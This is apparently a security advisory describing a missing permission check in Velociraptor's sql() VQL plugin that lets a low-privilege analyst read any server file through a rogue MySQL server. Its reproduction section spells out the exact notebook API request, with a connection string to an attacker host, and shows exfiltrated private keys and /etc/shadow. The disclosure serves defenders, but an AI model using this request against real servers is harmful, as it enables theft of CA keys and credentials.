Vulnerability GHSA-9qq5-422f-33c2
Summary
Velociraptor: Low-priv analyst reads arbitrary server files via ungated sql() VQL plugin
Details
Summary
The sql() VQL plugin runs a caller-supplied database driver and connection string with no permission check (vql/parsers/sql/sql.go:93, SQLPlugin.Call). For driver='mysql' or driver='postgres' the handle comes from GetHandleOther (sql.go:39), which passes the connection string straight to Go database/sql sql.Open (sql.go:51) and executes the query (sql.go:159).
The plugin declares FILESYSTEM_READ only as Info().Permissions metadata (sql.go:219). That metadata is never consulted at runtime: metadata.go:19 stores it as a string that only the documentation exporter reads (api/reflect.go:82-110). Every sibling network plugin (http_client, netcat, s3, rsyslog) calls CheckAccess(acls.NETWORK) in its own body; sql() calls nothing.
The built-in analyst role holds ANY_QUERY but not FILESYSTEM_READ or NETWORK (acls/roles.go:222), and reaches this sink through the notebook query API.
Result: a low-priv analyst opens arbitrary outbound TCP connections and, through a rogue MySQL server's LOAD DATA LOCAL INFILE, reads any file the root-running server can read, including the deployment CA private key.
Affected
- Velocidex/velociraptor server,
<= v0.77.1(latest release, 2026-06-23). Identical vulnerable code inmasterHEAD1961e79(2026-07-17). - Confirmed live-exploitable on the official
ghcr.io/velocidex/velociraptor-server:latestimage (build 0.77.1, commit bbe2a58). - Stock install, default Basic authenticator, any built-in
analyst,investigator, orapirole (all holdANY_QUERY, none holdsFILESYSTEM_READorNETWORK). - No non-default flag required.
Root cause
SQLPlugin.Call (vql/parsers/sql/sql.go:93) parses the caller driver, connstring, and query arguments and reaches handle.Query (sql.go:159) without any vql_subsystem.CheckAccess call in its body. For driver='mysql' or driver='postgres' the handle comes from GetHandleOther (sql.go:39), which hands the attacker connection string to sql.Open (sql.go:51), so the plugin dials an arbitrary host and, through the MySQL client LOAD DATA LOCAL INFILE feature, reads local files. The plugin states its intended gate only as metadata, VQLMetadata().Permissions(acls.FILESYSTEM_READ) (sql.go:219), but MetadataBuilder.Permissions merely stores a string (vql/metadata.go:19) that is read only by the reflection exporter (api/reflect.go:82-110), never by the query engine. Every sibling network plugin enforces CheckAccess(acls.NETWORK) in its own body, so the omission in sql() is an enforcement oversight. The default analyst role grants ANY_QUERY without FILESYSTEM_READ or NETWORK (acls/roles.go:222), so a user the operator deliberately restricted still reaches the ungated sink.
Note on intent: acls/acls.go documents that specific permission combinations grant admin-equivalent power (SERVER_ARTIFACT_WRITER with COLLECT_SERVER, ARTIFACT_WRITER with COLLECT_CLIENT), but the analyst role holds none of them and is denied EXECVE, NETWORK, and FILESYSTEM_READ on every sibling plugin. If ANY_QUERY is nonetheless intended as trusted, the plugin's own Permissions(FILESYSTEM_READ) metadata and the runtime enforcement on all sibling plugins are misleading and should be reconciled; otherwise this is a missing runtime check.
Reproduction
ghcr.io/velocidex/velociraptor-server:latest (v0.77.1), default config, GUI on https://localhost:8889, one built-in analyst user.
-
As
analyst, confirm the control: the gated accessor denies the read.sql(driver='sqlite', accessor='file', file='/etc/passwd', query='SELECT 1') => sql: Field file Accessor file: PermissionDenied: Permission denied: [FILESYSTEM_READ]
-
Start a rogue MySQL server on an attacker host that completes the handshake and answers any query with a
LOAD DATA LOCAL INFILE <target>packet. -
As the same
analyst, call the ungated branch through the notebook query API:POST /api/v1/UpdateNotebookCell (Basic auth + x-csrf-token) {"type":"vql","input":"SELECT * FROM sql(driver='mysql', connstring='x:y@tcp(:4499)/z?allowAllFiles=true', query='SELECT 1')"}
The rogue server receives the file:
QUERY: 'SELECT 1'
EXFIL 12860 bytes /etc/velociraptor/server.config.yaml
contains: CA private_key, gw_private_key, Frontend private_key
Live-verified: analyst pocdemo exfiltrated /etc/passwd, /etc/shadow (mode 0600), and server.config.yaml, each sha256 byte-identical to docker exec sha256sum, while http_client() on the same account returns PermissionDenied: [NETWORK].
Impact
- CA and Frontend RSA private keys disclosed: forge client certificates, impersonate the server to every enrolled endpoint.
- Any root-readable file on the server host disclosed (
/etc/shadow, datastore user records with password hashes, cross-tenantorgsdata). - Arbitrary outbound TCP from the server host through the same sink and the
upload_sftp,upload_smb,upload_azure,upload_gcsplugins. - Root-owned file creation at any path via the
sqlitebranch (zero-permissiondataaccessor plus an in-queryATTACH DATABASE). - Triggered by the lowest built-in query role, default config, one query, no admin interaction.
Credit
Jan Kahmen, turingpoint ( [email protected])
Related Vulnerabilities
Other vulnerabilities affecting the same packages